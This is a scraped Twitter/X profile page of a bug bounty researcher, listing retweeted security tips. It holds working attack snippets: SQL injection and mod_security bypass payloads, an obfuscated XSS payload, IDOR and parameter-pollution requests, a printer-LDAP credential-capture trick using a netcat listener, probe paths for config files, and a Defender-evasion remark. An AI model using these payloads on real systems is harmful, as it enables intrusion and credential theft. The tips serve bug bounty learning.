makso_maksa @w_hacky

openbugbounty.org/researchers/ma… Joined October 2016

Tweets

371
Followers

25
Following

312
Likes

709

Nicolas Krassas @Dinosn

3 years ago

Lateral movement analyzer tool: searches for potential lateral movement attacks and suspicious activity securityonline.info/lateral-moveme…

1 16 48 0 4

Need creds on a local network? Found some printers with default creds? 1) Log into printer. 2) Look for LDAP configured. 3) Point the destination to your PC. 4) netcat -l -vv -p 444 5) Initiate an LDAP query. 6) Wait for creds! Secure your printers!

27 839 2K 0 278

Sean Harris @InfoSecHotSpot

4 years ago

Cybersecurity Perspective In Quantum Computing twib.in/l/886z4q9gMMpq

0 3 0 0 0

Download Image

Tushar Verma 🇮🇳 @e11i0t_4lders0n

4 years ago

Checklist and Cheatsheets WAPT-github.com/KathanP19/HowT… Authenication-github.com/HolyBugx/HolyT… Oauth Misconfiguration-binarybrotherhood.io/oauth2_threat_… File Upload-github.com/HolyBugx/HolyT… IDOR-notion.so/IDOR-Attack-ve… XSS-portswigger.net/web-security/c… #bugbountytips

9 376 687 0 301

Zach @svch0st

4 years ago

A common goal of ransomware actors is to disable Windows Defender. Below is an example of using WMI to trigger an event when Realtime Monitoring is disabled. I used this example to learn a bit more about WMI! gist.github.com/svch0stz/82b50…

14 261 941 0 160

Download Gif

HolyBugx @HolyBugx

5 years ago

My File Upload Checklist, detailed version of @hunter0x7 checklist, and also some extra methods I personally use and gathered during the time. #BugBounty #BugBountyTip #BugBountyTips #TogetherWeHitHarder #InfoSec

23 709 1K 0 648

Download Image

Ahsan Khan @hunter0x7

5 years ago

23 536 2K 0 476

Download Image

Mayfly @M4yFly

5 years ago

My little mindmap to pentest active directory. Full version here : i.ibb.co/TKYNCNP/Pentes…

18 444 1K 0 305

Download Image

Luis Madero @_Y000_

5 years ago

sql injection mod_security bypass usando distinct -1' union+select+1+--+✖️ -1' union+distinct+select+1+--+✖️ -1' and union+distinct+select+1+--+✖️ -1' and .0union+distinct+select+1+--+✅ un bypass no siempre es complicado #bypass #sql #CyberSecurity #payloads

4 175 394 0 75

Download Image

Luis Madero @_Y000_

5 years ago

Xss payload <script%20~~~>\u0061\u006C\u0065\u0072\u0074``</script%20~~~> #xss #payload

2 26 62 0 10

Luis Madero @_Y000_

5 years ago

Sql inyection payload + comment + hex/unhex /*!50000select*/unhex(hex(/*!12345concat*/(0x223e,version(),0x223e,database()))) 0x223e = "> #sql #payload

1 17 75 0 20

Download Image

sailay(valen) @404death

5 years ago

some of lolbas's execution method are detected by defender but easy to bypass using concat. cc @Oddvarmoe

2 59 182 0 18

Download Image

Ahsan Khan @hunter0x7

5 years ago

site.com/file.php response = nothing site.com/file.php~ response = source

18 199 741 0 157

what_web @jae_hak99

5 years ago

{“id”:111} --> 401 Unauthriozied {“id”:{“id”:111}} --> 200 OK POST /api/get_profile Content-Type: application/json {“user_id”:<attacker_id>,”user_id”:<victim’s_id>} GET /api_v1/messages?user_id=VICTIM_ID --> 401 GET /api_v1/messages?user_id=attack&user_id=VICTIM --> 200 OK

8 293 803 0 223

Ramazan @r0hack

5 years ago

Error/Union/Boolean/Time-Based SQL. #hackerone #BugBounty {"param":"1')))+MySQL_payload--+-"}

publiclyDisclosed @disclosedh1

5 years ago

Error/Union/Boolean/Time-Based SQL. #hackerone #BugBounty {"param":"1')))+MySQL_payload--+-"}

1 11 124 0 9

Download Image

12 99 382 0 92

Aditya Shende @ADITYASHENDE17

5 years ago

/.config.php /.git/config ////../../data/config/microsrv.cfg //admin/config.php /admin/config.php /administrator/webconfig.txt.php /app.config /audit.config /Cassini.exe.config /ccnet.config /cgi-bin/config.exp /conceptual.config /config /config.inc /config.inc.php

6 233 664 0 218

Nicolas Krassas @Dinosn

5 years ago

List of bug bounty writeups (2012 - 2020) pentester.land/list-of-bug-bo…

2 257 601 0 167

Bug Bounty Recon @BugBountyRecon

5 years ago

Very nice find @chiraggupta8769 ! Nice approach and straightforward automation. There's bound to be more of these out there folks, go hunt 🙃 #BugBountytips #BugBounty

Chirag Gupta @chiraggupta8769

5 years ago

Very nice find @chiraggupta8769 ! Nice approach and straightforward automation. There's bound to be more of these out there folks, go hunt 🙃 #BugBountytips #BugBounty